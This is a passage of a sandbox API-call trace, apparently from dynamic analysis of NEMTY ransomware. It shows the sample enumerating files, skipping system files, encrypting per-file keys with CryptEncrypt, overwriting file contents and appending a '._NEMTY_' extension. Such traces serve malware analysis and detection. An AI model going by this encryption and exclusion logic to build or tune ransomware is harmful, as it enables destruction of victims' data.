lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340318, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0162.937] CloseHandle (hObject=0xffffffff) returned 0 [0162.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340488 [0162.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0162.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0162.937] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0162.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0162.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0162.937] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0162.937] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_thunderstorm.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_thunderstorm.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_thunderstorm.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_thunderstorm.png._nemty_kgobjgd_")) returned 0 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340318 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0162.937] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.938] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873839b6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x873839b6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2c1a0765, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3229, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_windy.png", cAlternateFileName="")) returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2=".") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="..") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="...") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="windows") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="$RECYCLE.BIN") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="rsa") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="NTDETECT.COM") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="ntldr") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="MSDOS.SYS") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="IO.SYS") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="boot.ini") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="boot.ini") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="AUTOEXEC.BAT") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="ntuser.dat") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="desktop.ini") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="CONFIG.SYS") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="RECYCLER") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="BOOTSECT.BAK") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="bootmgr") returned 1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="programdata") returned -1 [0162.938] lstrcmpiW (lpString1="docked_black_windy.png", lpString2="appdata") returned 1 [0162.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_windy.png", lpUsedDefaultChar=0x0) returned 22 [0162.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0162.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_windy.png", lpUsedDefaultChar=0x0) returned 22 [0162.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0162.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0162.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0162.938] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_windy.png", lpUsedDefaultChar=0x0) returned 22 [0162.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0162.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0162.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0162.939] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_windy.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_windy.png", lpUsedDefaultChar=0x0) returned 22 [0162.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0162.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0162.939] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0162.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0162.939] Sleep (dwMilliseconds=0x5) [0162.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14c43e90, dwHighDateTime=0x1d561e8)) [0162.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x14c43e90, dwHighDateTime=0x1d561e8)) [0162.940] GetLastError () returned 0x5 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0162.940] GetLastError () returned 0x5 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0162.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0162.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0162.940] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0162.940] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0162.940] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="jQmUEXgVzEFCc7STPxpi3fHs4as9lO8EqKgUMq4mCx9+7b5s2C2w5A/Kf8xxUIqk\r\ngFAEJxV2yOjgBaWnBGQUR4VSO+OUV1Bw9l4jRU6r+v63VQ0BPbLHxJeRm8HmAzZt\r\n+I/Pmw9afw1ba+ZMZS3BaIPCLIF4joq5Go0ibgN1Y3+aG7rIx3Mi0qpsXYk0O47g\r\n5IqXvJ+BwbqZZ3LMuxpn8GjvYs4Y3vEGfBCDXG7wk7dGAtOjHhj9z4MMrqbqR7on\r\n6mQJymqszPEeYTaWh938IGMViyvbv8D9n+0lSKhYg+osm8kzqjHJN5DMRw+oH9QB\r\nbh2KdDjhdo6oPv/bpstNbA==\r\n", pcchString=0x653e91c) returned 1 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0162.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0162.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0162.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0162.940] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_windy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_windy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0162.941] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0162.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0162.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.950] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.950] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.978] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.978] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.978] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0162.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0162.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0162.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0163.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0163.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0163.047] SetFilePointer (in: hFile=0xffffffff, 